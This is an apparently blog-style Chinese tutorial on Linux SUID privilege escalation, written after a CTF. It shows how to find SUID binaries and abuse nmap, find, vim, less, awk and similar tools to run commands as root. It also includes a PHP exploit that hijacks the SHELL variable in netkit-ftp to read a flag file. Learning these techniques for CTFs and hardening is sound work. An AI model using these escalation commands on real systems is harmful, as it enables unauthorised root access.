文前漫谈
SUID
提权是前阵子在蓝帽杯中刚接触到的一个点,本来以为是挺鸡肋的一个点,但是前两天接触了一台真实使用的服务器(类似于上机排查取证)。发现竟然有很多可以利用的点,印象深刻的就是当时机子里有个vim-basic
,甚至好像还有个find
留着。这些都可能利用suid
的特殊权限实现突破。于是重新学习一下。
SUID提权
针对的是Linux下的被赋予特殊权限的二进制可执行文件,借助可执行文件的特殊权限实现提权。
什么是SUID
SUID
(Set UID
)是Linux中的一种特殊权限。用户运行某个程序时,若该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件(对应windows下的exe文件),对于非可执行文件设置SUID没有意义。
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。
通俗的来讲,假设我们现在有一个可执行文件/bin/find
,其属主为root。当我们通过非root用户登录时,如果find
命令设置了SUID
权限且属主为root,而恰好find命令能通过-exec
选项执行系统命令,我们可在非root
用户下运行find执行命令,在执行文件时,该进程的权限将为root权限。达到提权的效果。利用此特性,我们可以实现利用SUID权限
的特殊进行提权
举个例子
准备两个可执行文件,root-see.c和normal-see.c
normal-see.c文件
#include <stdio.h>
int main()
{
/* 我的第一个 C 程序 */
printf("Hello, normal! \n");
return 0;
}
root-see.c文件
#include <stdio.h>
int main()
{
/* 我的第一个 C 程序 */
printf("Hello, root! \n");
return 0;
}
编译得到下面两个可执行文件 ,然后chmod
设置权限。使普通用户无法执行root-see.out
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
u代表文件所属者,suid权限是针对文件所属者而言的,只能对其所属者设置
下面我们尝试用suid提权执行root-see.out
文件
寻找可利用文件
下面的三条命令都可以找到当前系统上文件属主为root
并且拥有SUID
权限的可执行文件。
准确的说,这个命令就是用find
从/
目录往下查找具有SUID
权限位且文件属主为root
的文件在并在控制台输出,然后将所有错误重定向到/dev/null
,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
-user 指定文件拥有者
-perm 文件权限
-exec 执行系统命令
可以看见上面的root-see.out
文件已经能查到
可利用文件总结
nmap(已失效)
网上说 nmap(2.02-5.21
)存在交互模式,可利用提权。
nmap --interactive
之后执行:
nmap> !sh
sh-3.2# whoami
root
//这是真正意义上的提权,进入到了root用户的shell
但是这是老版本的,为了安全性,nmap的这个机制已经弃用。然后了解到较新版可使用--script
参数
echo "os.execute('/var/www/html/root-see.out')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
.nse文件是nmap的定制脚本文件,用lua语言写的
可以看见,nmap的调用机制已经更新了,记住尝试时别在输入密码切换到root后再执行,因为你输入的密码会默认保存5分钟,那样是能执行的。
find (-exec执行命令)
find是个比较常用的命令,find用来在系统中查找文件。通常很少谈到它也有执行系统命令的功能。 因此,如果配置为使用SUID
权限运行,则可以通过find
执行的命令,并且都将以root
身份去运行。但是现在很多系统上find命令默认没有SUID
权限
所以这里为了演示,我赋予一个
开始尝试,find执行系统命令的格式,从下面的执行结果不难看出,find进程确实属于其拥有者
find \ -exec whoami \;
这个\;必须要有,而且和命令前要有个空格
-exec:<执行指令>:假设find指令的回传值为True,就执行该指令;
-true:将find指令的回传值皆设为True; 这个可能会用到
然后,尝试执行只有root有权限执行的文件,成功。
date 读取文件(比赛中遇见)
也是一个比赛里的,这他娘真算是一个比较偏僻的点,读文件用的
虽然会报错,但是还是会读取文件
命令格式
date -f/--file <filename>
-f, --file=DATEFILE:类似于--date; 一次从DATEFILE处理一行。
netkit-ftp提权(2022蓝帽杯)
netkit-ftp和ftp是一个东西
一般情况,ftp提权是在vps上搭建一个ftp服务端作接收端,然后让靶机上的ftp以root权限把文件传送过来就行了
蓝帽杯这题比较特殊,他是放在php交互脚本里进行命令执行,没办法在shell中与ftp交互,上面说的那种方式无法实现。
这里主要是劫持环境变量SHELL
进行命令执行
在cmds.c
文件中,定位到netkit-ftp源码功能实现代码可知是从系统变量中获取SHELL变量
进行执行
https://github.com/mmaraya/netkit-ftp
/*
* Do a shell escape
*/
void
shell(const char *arg)
{
int pid;
void (*old1)(int);
void (*old2)(int);
char shellnam[40];
const char *theshell, *namep;
old1 = signal (SIGINT, SIG_IGN);
old2 = signal (SIGQUIT, SIG_IGN);
if ((pid = fork()) == 0) {
for (pid = 3; pid < 20; pid++)
(void) close(pid);
(void) signal(SIGINT, SIG_DFL);
(void) signal(SIGQUIT, SIG_DFL);
//从环境变量中取SHELL变量
theshell = getenv("SHELL");
if (theshell == NULL)
theshell = _PATH_BSHELL;
namep = strrchr(theshell, '/');
if (namep == NULL)
namep = theshell;
else
namep++;
(void) snprintf(shellnam, sizeof(shellnam), "-%s", namep);
if (strcmp(namep, "sh") != 0)
shellnam[0] = '+';
if (debug) {
printf("%s\n", theshell);
(void) fflush (stdout);
}
if (arg) {
execl(theshell, shellnam, "-c", arg, NULL);
}
else {
execl(theshell, shellnam, NULL);
}
perror(theshell);
code = -1;
exit(1);
}
if (pid > 0) while (wait(NULL) != pid);
(void) signal(SIGINT, old1);
(void) signal(SIGQUIT, old2);
if (pid == -1) {
perror("Try again later");
code = -1;
}
else {
code = 0;
}
}
主要代码
//从环境变量中取SHELL赋给thshell变量
theshell = getenv("SHELL");
......
if (arg) {
execl(theshell, shellnam, "-c", arg, NULL);
//也是因为这里的-c,才选择的od命令
}
else {
execl(theshell, shellnam, NULL);
}
//execl()用来执行参数path字符串所代表的文件路径
这里SHELL变量用可执行文件的绝对路径
最终执行的是theshell -c xxxx
命令官方的给exp
putenv("SHELL=/usr/bin/od");
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("pipe", "r")
);
$file=array();
$process = proc_open("ftp", $descriptorspec, $file);
var_dump($process);
var_dump($file);
function readln($file){
$out = "";
$a = fread($file, 1);
echo "readln";
while ($a != "\n") {
$out = $out.$a;
$a = fread($file, 1);
}
return $out;
}
fputs($file[0], "! /flag\n");
sleep("2");
$data = readln($file[1]);
echo $data;
proc_open
执行一个命令,并且打开用来输入/输出的文件指针,它的参数可以根据官方文档进行魔改。这里把od命令
(od有-c选项,且功能符合我们的要求赋给环境变量SHELL。
od -c
输出文件的八进制、十六进制等格式编码的字节
-c 使用ASCII码进行输出,注意其中包括转义字符所以整个脚本的意思就是劫持环境变量SHELL为od命令,使用proc_open执行,并把它的输出流
echo
Vim系列 执行系统命令
vim.tiny,vim-basic,vi
等同样适用
进入vim命令行模式,感叹号后面加命令
!command
>!whoami
>kali
>:::
ed 执行系统命令
ed
命令 是单行纯文本编辑器,它有命令模式(command mode)和输入模式(input mode)两种工作模式。
命令行模式执行命令
less/more 执行系统命令
more
和less
一定要读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!
命令执行命令或者进入shell
!command
!/bin/sh,进入shell
awk 执行系统命令
借助awk执行系统命令的方式很多
awk 'BEGIN {system("whoami")}'
time 执行系统命令
time ifconfig
dmesg 执行系统命令
显示Linux系统启动信息
dmesg命令 被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在/var/log/dmesg文件里。
:::info
dmesg -H
:::
进入命令行模式,!command
执行命令
env 执行系统命令
显示系统中已存在的环境变量
env whoami
flock 执行系统命令
是Linux 的文件锁命令。可以通过一个锁文件,来控制在shell 中逻辑的互斥性。
flock -u / ifconfig
ionice执行系统命令
获取或设置程序的IO调度与优先级。
ionice whoami
nice 执行系统命令
nice用于修改程序的优先级。
nice whoami
strace 执行系统命令
监控程序的执行状况
防御思路
管理者多注意特殊具有suid权限的可执行文件,分析其是否安全,点对点突破就ok了
总结
说太多也说不过来,具体情况具体分析。只要用上面的find命令找到前面的任一命令,那就可能是个突破点
当suid提权从你脑子里蹦出来,直接find找命令就行了,然后就给出的命令分析。主要是找一些异常的文件,然后分析它是否能执行系统命令,再进一步展开。
能执行命令的话,尝试直接/bin/sh -p
拿shell
就完事了
CTF中具体涉及到了的话,可以find之后一个一个研究,万一有的出题人狗,自己写一个命令让你去造也说不定呐(懂得都懂)。